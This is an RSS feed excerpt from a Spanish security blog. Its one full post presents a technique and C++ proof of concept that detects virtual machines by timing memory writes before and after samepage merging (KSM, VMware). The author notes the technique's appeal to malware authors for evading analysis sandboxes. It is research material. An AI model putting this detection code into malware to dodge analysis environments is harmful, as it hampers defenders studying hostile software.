<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog &#187; Ingeniería inversa</title>
	<atom:link href="http://blog.48bits.com/category/ingenieria-inversa/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Sun, 29 Aug 2010 13:02:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Jugando con Samepage Merging</title>
		<link>http://blog.48bits.com/2010/03/17/jugando-con-samepage-merging/</link>
		<comments>http://blog.48bits.com/2010/03/17/jugando-con-samepage-merging/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 22:47:44 +0000</pubDate>
		<dc:creator>erg0t</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1250</guid>
		<description><![CDATA[ACTUALIZACIÓN: 1/5/2010 Incluyo un pequeño cambio en el codigo del PoC que había hecho el cual mejora muchisimo los resultados, lamentablemente no tengo tiempo de rehacer las graficas y las conclusiones. Pruebenlo que ahora los resultados son mucho mas notables Hola audiencia de 48bits, hoy les voy a contar un poco sobre una cualidad que [...]]]></description>
			<content:encoded><![CDATA[<p style="padding-left: 30px; text-align: center;"><span style="color: #ff0000;"><em><strong>ACTUALIZACIÓN:</strong> 1/5/2010 Incluyo un pequeño cambio en el codigo del PoC que había hecho el cual mejora muchisimo los resultados, lamentablemente no tengo tiempo de rehacer las graficas y las conclusiones. Pruebenlo que ahora los resultados son mucho mas notables <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </em></span></p>
<p>Hola audiencia de 48bits, hoy les voy a contar un poco sobre una cualidad que tienen ciertos entornos de virtualizacion, la cual podemos aprovechar para detectar los mismos.</p>
<p>El método que propongo esta basado en timing analysis, pero no sobre el tiempo de ejecución de determinadas instrucciones, sino que sobre los tiempos de acceso a memoria. Se han utilizado técnicas similares para detectar VMMs (incluyendo VT). Un método conocido es medir el tiempo de acceso a memoria con cache on/off, por lo general el VMM no permite desactivar el cache, entonces si ambas mediciones dan resultados similares significa que estamos dentro de un entorno virtual.</p>
<p>A diferencia de esa técnica, la manera que he encontrado no requiere ring0 y además es bastante sencilla. Claro que tiene ciertas limitaciones, no sirve para detectar cualquier VM, solo aquellas que implementen samepage merging (hasta ahora solo hice pruebas con KVM-KSM y VMware).<br />
<span id="more-1250"></span><br />
Supongo que tendré que explicar un poco en que consiste esto del samepage merging (desde ahora SM porque soy vago). El SM esta muy relacionado con el CoW (Copy on Write). Básicamente se trata de un thread que periódicamente recorre la memoria y une todas las páginas cuyo contenido es exactamente el mismo. Una vez unidas las páginas, el resto del proceso es exactamente un CoW, se comparte la misma page frame y se marca la página como read-only, cuando se intenta realizar una escritura, el manejador de excepciones se encarga de asignar una nueva página.</p>
<p>Este tipo de estrategia es bastante costosa por lo que no se suele utilizar sobre toda la memoria del sistema operativo. Sin embargo es muy tentador utilizarla en entornos  virtualizados ya que se ahorran cantidades considerables de ram, el beneficio es máximo cuando se corren varios guests simultanea-mente.</p>
<p>En linux disponemos de KSM (Kernel Samepage Merging), este se puede activar y desactivar en el vuelo. Cualquier versión reciente de KVM saca provecho de KSM si se encuentra activado. La idea original sobre este tipo de tecnologías parece pertenecer a <a href="http://www.google.com/patents?vid=USPAT6789156">VMware</a> y al parecer hubo ciertos problemas de patentes con KSM, lo importante a destacar es que si podemos aprovecharnos de KSM seguramente también podemos hacerlo de VMware.</p>
<p>Ya con todo esto un poco explicado, algunos deben estarse preguntando que pasaría si medimos los tiempos de acceso a memoria antes y después de que el KSM (o VMware) actue sobre la memoria del guest. Es justamente lo que vamos a averiguar <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><span style="text-decoration: line-through;">Para logralo he escrito un PoC bastante cutre pero útil a nuestros propósitos. A continuación, el código (que no es muy bonito que digamos), y le sigue su descripción.</span></p>
<p><strong><span style="color: #ff0000;">Nuevo PoC!</span></strong></p>
<div class="dean_ch" style="white-space: wrap;"><span class="coMULTI">/*<br />
&nbsp;* smdetect.cpp<br />
&nbsp;*<br />
&nbsp;* Created by Daniel Fernandez (<span class="mh-plaintext">soyf<a href='http://mailhide.recaptcha.net/d?k=018C3PkzWHAYgYz895QBbhcA==&amp;c=lFF3h9zRWUVhNd5kW--LV7y-IWS6WL2Q1P5cpE_Q4Gw=' onclick="window.open('http://mailhide.recaptcha.net/d?k=018C3PkzWHAYgYz895QBbhcA==&amp;c=lFF3h9zRWUVhNd5kW--LV7y-IWS6WL2Q1P5cpE_Q4Gw=', '', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=500,height=300'); return false;" title="Reveal this e-mail address">...</a>@48bits.com</span>) on 19/03/2010<br />
&nbsp;*<br />
&nbsp;* Copyright (c) 2010 &nbsp;48BITS<br />
&nbsp;* All rights reserved.<br />
&nbsp;*<br />
&nbsp;* Redistribution and use in source and binary forms, with or without<br />
&nbsp;* modification, are permitted provided that the following conditions<br />
&nbsp;* are met:<br />
&nbsp;*<br />
&nbsp;* Redistributions of source code must retain the above copyright notice,<br />
&nbsp;* this list of conditions and the following disclaimer.<br />
&nbsp;*<br />
&nbsp;* Redistributions in binary form must reproduce the above copyright<br />
&nbsp;* notice, this list of conditions and the following disclaimer in the<br />
&nbsp;* documentation and/or other materials provided with the distribution.<br />
&nbsp;*<br />
&nbsp;* Neither the name of the project&#8217;s author nor the names of its<br />
&nbsp;* contributors may be used to endorse or promote products derived from<br />
&nbsp;* this software without specific prior written permission.<br />
&nbsp;*<br />
&nbsp;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS<br />
&nbsp;* &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT<br />
&nbsp;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS<br />
&nbsp;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT<br />
&nbsp;* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,<br />
&nbsp;* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED<br />
&nbsp;* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR<br />
&nbsp;* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF<br />
&nbsp;* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING<br />
&nbsp;* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS<br />
&nbsp;* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.<br />
&nbsp;*<br />
&nbsp;*/</span></p>
<p><span class="co2">#include &lt;iostream&gt;</span><br />
<span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;sys/time.h&gt;</span><br />
<span class="co2">#include &lt;unistd.h&gt;</span></p>
<p><span class="co2">#ifdef _WIN32</span><br />
<span class="co2">#include &lt;windows.h&gt;</span><br />
<span class="co2">#else</span><br />
<span class="co2">#include &lt;sys/mman.h&gt;</span><br />
<span class="co2">#endif</span></p>
<p>class Buffer<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw4">int</span> *buffer;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> size;</p>
<p>&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> gettime<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> timeval tv;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; gettimeofday<span class="br0">&#40;</span>&amp;tv, <span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span><span class="br0">&#41;</span> tv.<span class="me1">tv_sec</span><span class="br0">&#41;</span> * 1000000ULL +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span><span class="br0">&#41;</span> tv.<span class="me1">tv_usec</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>public:</p>
<p>&nbsp; &nbsp; <span class="kw2">enum</span> Exceptions<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ALLOC_FAILED,<br />
&nbsp; &nbsp; &nbsp; &nbsp; LOCK_FAILED,<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>;</p>
<p>&nbsp; &nbsp; Buffer<span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> sz, bool locking, <span class="kw4">unsigned</span> <span class="kw4">int</span> seconds<span class="br0">&#41;</span> : size<span class="br0">&#40;</span>sz<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
<span class="co2">#ifdef _WIN32</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hProcess<span class="br0">&#40;</span>GetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T minws, maxws;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; buffer = <span class="br0">&#40;</span><span class="kw4">int</span> *<span class="br0">&#41;</span> VirtualAlloc<span class="br0">&#40;</span><span class="kw2">NULL</span>, size, MEM_COMMIT, PAGE_READWRITE<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>buffer == <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw ALLOC_FAILED;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>locking == <span class="kw2">true</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetProcessWorkingSetSize<span class="br0">&#40;</span>hProcess, &amp;minws, &amp;maxws<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetProcessWorkingSetSize<span class="br0">&#40;</span>hProcess, minws + size, maxws + size<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>VirtualLock<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw LOCK_FAILED;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="co2">#else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer = <span class="br0">&#40;</span><span class="kw4">int</span> *<span class="br0">&#41;</span> mmap<span class="br0">&#40;</span><span class="kw2">NULL</span>, size, PROT_READ | PROT_WRITE, MAP_PRIVATE |<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MAP_ANONYMOUS, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>buffer == MAP_FAILED<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw ALLOC_FAILED;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>locking == <span class="kw2">true</span> &amp;&amp; mlock<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span> == <span class="nu0">-1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw LOCK_FAILED;<br />
<span class="co2">#endif</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> x<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>; x != size/<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>; ++x<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer<span class="br0">&#91;</span>x<span class="br0">&#93;</span> = 0x443d3d38;<br />
<span class="co2">#ifdef _WIN32</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; Sleep<span class="br0">&#40;</span>seconds * <span class="nu0">1000</span><span class="br0">&#41;</span>;<br />
<span class="co2">#else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sleep<span class="br0">&#40;</span>seconds<span class="br0">&#41;</span>;<br />
<span class="co2">#endif</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; ~Buffer<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
<span class="co2">#ifdef _WIN32</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; VirtualUnlock<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; VirtualFree<span class="br0">&#40;</span>buffer, <span class="nu0">0</span>, MEM_RELEASE<span class="br0">&#41;</span>;<br />
<span class="co2">#else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; munmap<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span>;<br />
<span class="co2">#endif</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> measureWrite<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> start<span class="br0">&#40;</span>gettime<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> x<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>; x != size/<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>; x += <span class="nu0">4096</span>/<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer<span class="br0">&#91;</span>x<span class="br0">&#93;</span> = x;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> gettime<span class="br0">&#40;</span><span class="br0">&#41;</span> &#8211; start;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span>;</p>
<p><span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> getTime<span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> bsize, bool locking,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw4">unsigned</span> <span class="kw4">int</span> sleep_seconds = <span class="nu0">0</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; Buffer buf<span class="br0">&#40;</span>bsize, locking, sleep_seconds<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> buf.<span class="me1">measureWrite</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> buffer_size<span class="br0">&#40;</span><span class="nu0">15</span>*<span class="nu0">1024</span>*<span class="nu0">4096</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> sleep_time<span class="br0">&#40;</span><span class="nu0">60</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> threshold<span class="br0">&#40;</span><span class="nu0">500</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; bool locking<span class="br0">&#40;</span><span class="kw2">true</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw4">char</span> c;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>c = getopt<span class="br0">&#40;</span>argc, argv, <span class="st0">&quot;pm:s:t:&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> != <span class="nu0">-1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span>c<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;p&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; locking = <span class="kw2">false</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;m&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer_size = <span class="br0">&#40;</span>atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span> * <span class="nu0">1024</span> * <span class="nu0">1024</span><span class="br0">&#41;</span> &amp; ~<span class="nu0">4095</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;s&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sleep_time = atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;t&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; threshold = atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;?&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span>Options:<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-m size<span class="es0">\t</span> buffer size in Mb (default 60mb)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-s time<span class="es0">\t</span> sleep time in second (default 60secs)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-t num<span class="es0">\t</span> threshold (default 98)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-p<span class="es0">\t</span> disable locking (default enabled)&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">-1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; try<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> t1<span class="br0">&#40;</span>getTime<span class="br0">&#40;</span>buffer_size, locking<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> t2<span class="br0">&#40;</span>getTime<span class="br0">&#40;</span>buffer_size, locking, sleep_time<span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// avoid division by zero</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>t1 == <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t1 = <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> variation<span class="br0">&#40;</span><span class="br0">&#40;</span>std::<span class="me2">abs</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">long</span> <span class="kw4">long</span><span class="br0">&#41;</span><span class="br0">&#40;</span>t2 &#8211; t1<span class="br0">&#41;</span><span class="br0">&#41;</span>*<span class="nu0">100</span><span class="br0">&#41;</span>/t1<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;First write: &nbsp;&quot;</span> &lt;&lt; t1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span>Second write: &quot;</span> &lt;&lt; t2<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span>Variation: &nbsp; &nbsp;&quot;</span> &lt;&lt; variation &lt;&lt; <span class="st0">&quot;%<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="br0">&#40;</span>variation &gt;= threshold ? <span class="st0">&quot;VMM detected!&quot;</span> : <span class="st0">&quot;no VMM detected&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; catch <span class="br0">&#40;</span>Buffer::<span class="me2">Exceptions</span> e<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>e == Buffer::<span class="me2">ALLOC_FAILED</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;Can&#8217;t alloc buffer, try with a smaller size (-m)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;Or check your capabilities&quot;</span> &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>e == Buffer::<span class="me2">LOCK_FAILED</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;Can&#8217;t lock buffer, check your capabilities<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;Or use -p flag&quot;</span> &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p><span style="text-decoration: line-through;">El código puede ser compilado con visual studio, y lo ideal es compilarlo para release.</span><br />
<strong> </strong></p>
<p><em>Ahora se compila con: <strong>g++ -O3 smdetect.cpp -o smdetect<br />
</strong>Funciona tanto en linux como en windows (mingw).</em></p>
<p>Ahora unas gráficas con los resultados en distintos entornos:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/03/smdetect.png"><img src="http://blog.48bits.com/wp-content/uploads/2010/03/smdetect.png" alt="" title="smdetect" width="490" height="340" class="aligncenter size-full wp-image-1265" /></a></p>
<p>Las gráficas corresponden a 10 ejecuciones de smdetect por cada entorno. Si todo fuera perfecto deberían ser lineas horizontales, pero factores externos como la carga del sistema hacen variar bastante los resultados.</p>
<p>Se puede apreciar una diferencia notable entre los casos donde no hay VMM y en los que la hay. Un caso curioso se da con OSX, donde la diferencia es apenas un 100% estando más cerca de los resultados donde no hay VMM. Incluso en una prueba llego a dar ~30% lo cual lo hace un target muy dificil de detectar.</p>
<p>Mirando las gráficas y sin considerar OSX, podriamos establecer un umbral de 150% para la detección. Incluyendo los datos de OSX he decidido utilizar un 98%, aún asi pueden darse falsos negativos en OSX y un umbral tan bajo podría llegar a dar falsos positivos si se dan ciertas condiciones.</p>
<p>Conclushion!</p>
<p>Tenemos un nuevo método, que si bien no es 100% confiable, puede ser utilizado de forma práctica y es posible refinarlo mucho más. Una posibilidad es la utilización de heurísticas para ajustar el umbral en función a información sobre la carga del sistema. Otro tema pendiente es la enorme espera que hay que realizar entre mediciones, pero esto no creo que sea un impedimento para muchos autores de malware&#8230;</p>
<p>Aqui se acaba <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>PD: lo siento Javi y Marconi por meter otro post en tan poco tiempo (parece ser que siempre ocurre lo mismo, pueden pasar meses sin movimiento y luego abalancha de posts).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/03/17/jugando-con-samepage-merging/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Debuggeando código JITeado de ActionScript</title>
		<link>http://blog.48bits.com/2010/02/15/debuggeando-codigo-jiteado-de-actionscript/</link>
